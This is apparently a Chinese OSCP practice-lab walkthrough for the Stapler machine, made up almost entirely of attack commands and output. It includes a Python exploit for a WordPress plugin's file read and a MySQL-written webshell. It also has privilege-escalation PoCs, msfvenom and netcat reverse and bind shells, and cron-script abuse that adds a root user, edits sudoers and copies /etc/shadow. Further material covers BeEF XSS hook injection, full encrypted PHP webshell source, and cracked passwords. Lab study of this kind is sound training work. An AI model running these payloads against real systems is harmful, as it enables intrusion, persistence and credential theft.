OSCP官方靶场-Stapler-WP

# Kali攻击机地址
192.168.45.165
# 靶机地址
192.168.198.148

# 设置MTU
sudo ip link set dev tun0 mtu 1250
ip link show tun0
# 扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.198.148 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
# 扫描目录
dirsearch -u  http://192.168.223.148
gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z
whatweb http://192.168.198.148/

┌──(kali㉿kali)-[~/Desktop]
└─$ echo $ports
21,22,80,139,3306

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:17 -0400
Nmap scan report for 192.168.198.148
Host is up (0.67s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.'
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.45.165
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
80/tcp   open  http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp  open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.7.12-0ubuntu1
| mysql-info:
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: w3/ \x07\x1D7\x03o?)\x1C\x01(\x05`\x1CJ*\x04
|_  Auth Plugin Name: mysql_native_password
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (93%), Linux 3.8 - 3.16 (93%), Linux 2.6.32 - 3.13 (93%), Linux 3.4 - 3.10 (93%), Linux 4.15 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 4.15 - 5.19 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2026-03-14T03:18:42+00:00
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: 0s, deviation: 2s, median: -1s
| smb2-time:
|   date: 2026-03-14T03:18:39
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.85 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:20 -0400
Nmap scan report for 192.168.198.148
Host is up (0.47s latency).

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.'
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-csrf: Couldn't find any CSRF vulnerabilities.'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.'
|_http-dombased-xss: Couldn't find any DOM based XSS.'
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
139/tcp  open  netbios-ssn
3306/tcp open  mysql

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 524.65 seconds

Target: http://172.168.169.129/

[02:06:11] Starting:
[02:06:11] 200 -    4KB - /.bashrc
[02:06:11] 200 -  220B  - /.bash_logout
[02:06:12] 200 -  675B  - /.profile

Task Completed

John
Elly
Harry

# 安装 
git clone https://github.com/urbanadventurer/username-anarchy.git
# 挂代理
git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy John

# 逐个生成并合并
./username-anarchy John > usernames.txt
./username-anarchy Elly >> usernames.txt
./username-anarchy Harry >> usernames.txt
# 批量的
./username-anarchy -i ../user.txt >> ../usernames.txt
# 去重
sort -u usernames.txt -o usernames.txt

wc -l usernames.txt

./username-anarchy "John Smith" >> usernames.txt

hydra -L usernames.txt -e nsr ftp://172.168.169.129

cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name
hydra -L ssh_user_name -e nsr ssh://172.168.169.129

ls /home/*/ -al
cat /home/*/.* |grep pass
cat /home/*/.bash_history | grep -v exit

sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost

wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 

wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive

[i] Plugin(s) Identified:

[+] advanced-video-embed-embed-videos-or-playlists
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-10-14T13:52:00.000Z
 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
 |
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt

[+] akismet
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/
 | Latest Version: 5.6
 | Last Updated: 2025-11-12T16:31:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

[+] shortcode-ui
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/
 | Last Updated: 2019-01-16T22:56:00.000Z
 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
 | [!] The version is out of date, the latest version is 0.7.4
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
 |
 | Version: 0.6.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt

[+] two-factor
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/
 | Latest Version: 0.15.0
 | Last Updated: 2026-02-17T13:21:00.000Z
 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: 200
 |
 | The version could not be determined.

#!/usr/bin/env python3
import random
import urllib.request
import urllib.error
import re
import ssl

# 忽略 SSL 证书校验
ssl._create_default_https_context = ssl._create_unverified_context

url = "https://172.168.169.131:12380/blogblog"  # 改成你的靶机 IP

randomID = int(random.random() * 100000000000000000)

objHtml = urllib.request.urlopen(
    url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + 
    str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php'
)
content = objHtml.readlines()

for line in content:
    line = line.decode('utf-8')
    numbers = re.findall(r'\d+', line)
    id = numbers[-1]
    id = int(id) // 10  # Python3 整除用 //

objHtml = urllib.request.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
    line = line.decode('utf-8')
    if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
        urls = re.findall('"(https?://.*?)"', line)
        print(urllib.request.urlopen(urls[0]).read().decode('utf-8'))

wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate

 cp /usr/share/webshells/php/php-reverse-shell.php .
 sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

mysql -h 172.168.169.129 -uroot -pplbkac  --skip-ssl

show databases;
use wordpress;
show tables;
select * from wp_users;
select concat(user_login,':',user_pass) from wp_users;

mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se "select concat(user_login,':',user_pass) from wordpress.wp_users;" > hashes.txt
john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

SELECT option_name, option_value FROM wp_options 
WHERE option_name IN ('siteurl','blogname','blogdescription','admin_email','blogpublic');

SELECT user_login, meta_value FROM wp_users JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE meta_key = 'wp_capabilities';

# MySQL 里写入
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/exec.php";

# 验证是否写入成功
curl -k "https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id"

enum4linux -a 172.168.169.129 | tee smb_result

searchsploit ubuntu 16.04 privilege escalation
privilege escalation表示权限提升

searchsploit -m linux/local/39772.txt
cat 39772.txt

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod +x compile.sh
./compile.sh

# 1. 查看内核和系统版本
uname -a
cat /etc/os-release
# 输出：Ubuntu 16.04，内核较旧

# 2. 查看 polkit 版本（关键）
dpkg -l policykit-1
pkexec --version
# 输出版本 <= 0.105 即存在漏洞

# 靶机上下载 PoC（或从 Kali 传过去）

wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034

# Kali 生成 payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.168.169.130 LPORT=4444 -f elf > shell.elf

# Kali 开监听
msfconsole
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.168.169.130
set LPORT 4444
run

# 靶机下载执行（用已有的 SHayslett shell）
wget http://172.168.169.128:8000/shell.elf
chmod +x shell.elf
./shell.elf

use exploit/linux/local/cve_2021_4034
set SESSION 1
set LHOST 172.168.169.130
run
# 弹出 root meterpreter

ls -alh /etc/*cron*

cat /etc/cron.d/logrotate

sudo apt -y install rlwrap
rlwrap nc -lvnp 4444

echo 'bash -i >& /dev/tcp/172.168.169.128/4444 0>&1' > /usr/local/sbin/cron-logrotate.sh

# 靶机写入（让目标监听 5555）
echo 'nc -lvnp 5555 -e /bin/bash &' > /usr/local/sbin/cron-logrotate.sh

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvnp 5555 >/tmp/f' > /usr/local/sbin/cron-logrotate.sh

rlwrap nc 172.168.169.129 5555

echo 'cp /root/flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/flag.txt

# 先生成密码hash
openssl passwd -1 hacker123
# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0
# 写入cron
cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
echo 'hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash' >> /etc/passwd
EOF
su hacker123
# 输入密码 hacker123

echo 'echo "SHayslett ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && sudo su

echo 'chmod u+s /bin/bash' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && bash -p

echo 'cp /etc/shadow /tmp/shadow.txt && chmod 777 /tmp/shadow.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/shadow.txt

grep -v ':\*:\|:!:' /tmp/shadow.txt | awk -F: '{print $1":"$2}' > /tmp/to_crack.txt

# hashcat
hashcat -m 1800 to_crack.txt /usr/share/wordlists/rockyou.txt --username

# 或 john（自动识别格式）
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt to_crack.txt
john --show to_crack.txt

cookie           (JBare)
letmein          (MFrei)
qwerty           (Drew)
1password        (CCeaser)
password11       (SStroud)
red              (jamie)
robrob           (RNunemaker)
incorrect        (LSolum)
passphrase       (MBassin)

crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success

cat /etc/ssh/sshd_config | grep -E "PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile"

ssh-keygen -t rsa -f rootkey
cat rootkey.pub

cat  > rootkey.pub
# 复制你的公钥内容，回车后按ctrl D结束保存

cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
> mkdir -p /root/.ssh
> cat /home/JKanode/rootkey.pub > /root/.ssh/authorized_keys
> chmod 700 /root/.ssh
> chmod 600 /root/.ssh/authorized_keys
> chown -R root:root /root/.ssh
> EOF

ssh -i rootkey root@172.168.169.130

cat /etc/ssh/sshd_config | grep -E "Root|root"

cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
sed -i 's/DenyUsers.*/DenyUsers ftp elly/' /etc/ssh/sshd_config
service ssh restart
EOF

ssh -i ~/Desktop/rootkey -o PubkeyAcceptedAlgorithms=+ssh-rsa root@172.168.169.130

cat /root/python.sh 
cat /usr/local/src/nc.sh

while true; do
  nc -nlvp 666 < /usr/local/src/nc.zip
done

cat > /usr/local/src/nc.sh << 'EOF'
#!/bin/bash
while true; do
  nc -nlvp 666 -e /bin/bash &>/dev/null && sleep 2s;
done
EOF

echo 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp 666 > /tmp/f' > /usr/local/src/nc.sh

pkill -f "nc -nlvp 666"
pkill -f nc.sh
bash /usr/local/src/nc.sh &

echo 'echo "rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc -nlvp 666 > /tmp/f" > /usr/local/src/nc.sh; pkill -f "nc -nlvp 666"; bash /usr/local/src/nc.sh &' > /usr/local/sbin/cron-logrotate.sh

rlwrap nc 172.168.169.131 666
# 直接是 root shell
id

fuser -k 666/tcp 2>/dev/null

python -c "
import socket,os,pty
s=socket.socket()
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('',666))
s.listen(1)
conn,addr=s.accept()
os.dup2(conn.fileno(),0)
os.dup2(conn.fileno(),1)
os.dup2(conn.fileno(),2)
pty.spawn('/bin/bash')
" </dev/null >/dev/null 2>&1 &

# SHayslett账户的ssh或者网页版本反弹shell
echo 'pkill -f "nc -nlvp 666"; pkill -f "nc.*666"; pkill -f "python.*666"; fuser -k 666/tcp 2>/dev/null; sleep 2; python -c "import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\"\",666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\"/bin/bash\")" </dev/null >/dev/null 2>&1 &' > /usr/local/sbin/cron-logrotate.sh

rlwrap nc 172.168.169.131 666

发现 666 端口 → 分析 nc.sh 脚本逻辑
→ 发现 cron-logrotate.sh 777 权限
→ 用低权限用户写入 payload
→ cron 以 root 身份执行
→ 改写 nc.sh
→ 666 端口变成持久化 root bind shell

1. 在此页面注入 BeEF hook.js
2. 管理员访问该页面时浏览器被 hook
3. 通过 BeEF 控制管理员浏览器
4. 进行键盘记录、截图、内网探测等攻击

# Kali 启动 BeEF
cd /usr/share/beef-xss
./beef

# 或者
beef-xss

http://127.0.0.1:3000/ui/panel
# 默认账密 beef:beef

http://172.168.169.128:3000/hook.js

<script src="http://192.168.45.187:3000/hook.js"></script>

1. 用已破解的 WordPress 账号登录后台
2. 在文章/评论/小工具里注入 hook.js
3. 等管理员访问

# 用 nikto 扫 12380
nikto -h https://192.168.201.148:12380 -ssl

# 或者 gobuster 跑目录
gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k

# 这里用的root账户，只是为了验证和模拟，实战的时候要看有没有权限修改
cat > /var/www/https/admin112233/index.html << 'EOF'
<html>
<head>
<title>mwwhahahah</title>
<body>
<noscript>Give yourself a cookie! Javascript didn't run =)</noscript>
<script type="text/javascript">
window.alert("This could of been a BeEF-XSS hook ;)");
</script>
<script src="http://192.168.45.187:3000/hook.js"></script>
</body>
</html>
EOF

# Firefox 地址栏输入
about:config 
# 搜索 
security.mixed_content.block_active_content 
# 改为 false

Commands 面板可执行：
├── 获取 Cookie（结合 HttpOnly 判断是否可窃取）
├── 键盘记录
├── 截图
├── 探测内网（扫描内网其他主机）
├── 获取浏览器信息、已保存密码
├── 社工弹窗（伪造登录框骗取凭据）
└── 重定向到钓鱼页面

XSS → 窃取管理员 Cookie
     → 用 Cookie 伪造管理员登录 WordPress 后台
     → 后台上传恶意插件/主题 → webshell
     → 从 www-data 开始提权

grep -r "sshpass" /home/*/.bash_history 2>/dev/null

grep -r "sshpass\|password\|passwd" /home/*/.bash_history 2>/dev/null

# 最近登录记录
last JKanode

# 登录失败记录
lastb JKanode 2>/dev/null

# 最后一次登录时间
lastlog | grep JKanode

# 当前/最近的终端活动
who
w

# 进程历史（如果有审计）
cat /var/log/auth.log | grep JKanode

root  1515  nc -nlvp 666

nc 127.0.0.1 666

root  1501  /bin/bash /root/python.sh
root  1503  /bin/bash /usr/local/src/nc.sh

ls -al /usr/local/src/nc.sh
cat /usr/local/src/nc.sh

nc 172.168.169.129 666

nc 192.168.179.149 666 > message_666
file message_666     //发现是一个zip压缩包
unzip message_666
查看message2.jpg

smbclient -N //172.168.169.129/tmp
smbclient -N //172.168.169.129/tmp

# 直接运行，目标是 WordPress 评论区注入
php 37902.php 172.168.169.131:12380/blogblog

# 先确认 legacy.php 是否存在
curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php

# 下载 PoC
wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip
unzip baron.zip
cd CVE-2021-3156-main
# 这个靶机是 i386 架构，选对应版本
python3 exploit_nss.py

# 换 blasty 的版本
wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip
unzip blasty.zip
cd CVE-2021-3156-main
make

./sudo-hax-me-a-sandwich
# 会列出支持的目标列表，找 Ubuntu 16.04 对应的编号
./sudo-hax-me-a-sandwich 0  # 0换成对应编号

cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

# 安装
apt install webacoo -y

# 生成加密 webshell
webacoo -g -o shell.php

# 连接
webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php

# 生成
weevely generate hacker123 shell.php

# 连接
weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123

# 生成 meterpreter 反弹 shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=172.168.169.128 LPORT=4444 \
  -f raw > shell.php

# MSF 开监听
msfconsole -q -x "use multi/handler; \
  set payload php/meterpreter/reverse_tcp; \
  set LHOST 172.168.169.128; \
  set LPORT 4444; run"

# 冰蝎生成的 PHP shell 固定模板
cat > shell.php << 'EOF'
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
    $t="base64_decode";
    $post=$t($post."");
    for($i=0;$i<strlen($post);$i++){
        $post[$i]=$post[$i]^$key[$i+1&15];
    }
}else{
    $post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p){eval($p);}}
@new C($params);
?>
EOF

cat > shell.php << 'EOF'
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c=$K[$i+1&15];
        $D[$i]=$D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if(isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if(isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if(stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
EOF